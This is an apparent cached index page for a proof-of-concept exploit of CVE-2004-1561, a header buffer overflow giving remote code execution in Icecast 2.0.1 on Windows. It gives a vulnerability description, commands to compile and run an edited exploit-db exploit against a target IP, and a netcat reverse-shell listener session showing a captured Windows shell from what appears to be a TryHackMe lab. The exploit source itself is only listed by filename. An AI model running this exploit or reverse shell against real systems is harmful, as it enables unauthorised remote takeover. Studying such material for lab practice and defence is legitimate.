CVE-2004-1561 PoC — Icecast远程任意指令执行漏洞

Source

https://github.com/Danyw24/CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32-

Associated Vulnerability

Title:Icecast远程任意指令执行漏洞 (CVE-2004-1561)
Description:Icecast是一款免费开放源代码的音频流服务程序，可使用在多种Unix/Linux操作系统平台下，也可以使用在Microsoft Windows操作系统下。 Icecast对HTTP的头字段数据缺少充分检查，远程攻击者可以利用这个漏洞以服务进程权限在系统上执行任意指令。 Icecast Server最多接收客户端带有32个头结构字段的HTTP请求，在某些环境下(Win32)第32头结构会覆盖函数的返回地址。也就是说攻击者可以使用普通的HTTP请求加上31头结构字段在加上SHELLCODE就可能不需要跳转

Readme

# CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32-


## Usage

![image](https://github.com/user-attachments/assets/a2167dc2-1873-4b52-94b0-55ecbe52017c)


## Reverse shell listener with Ncat

```bash
root@Kali:~/TryHackme/Ice# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.128] from (UNKNOWN) [192.168.92.133] 49211
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files (x86)\Icecast2 Win32>
```

## Usage of 568-edit

Basado en el exploit original [568 Exploit](https://www.exploit-db.com/exploits/568)

```
gcc ./568-edit.c -o 568 & chmod 775 ./568
```



```
./568 127.0.0.1 (Target IP)
```

File Snapshot


 [4.0K]  /data/pocs/1137c8bbb2afb86038f4c3db1e03314b19fea5fc
├── [6.4K]  568-edit.c
├── [4.0K]  568-mod.py
└── [ 700]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!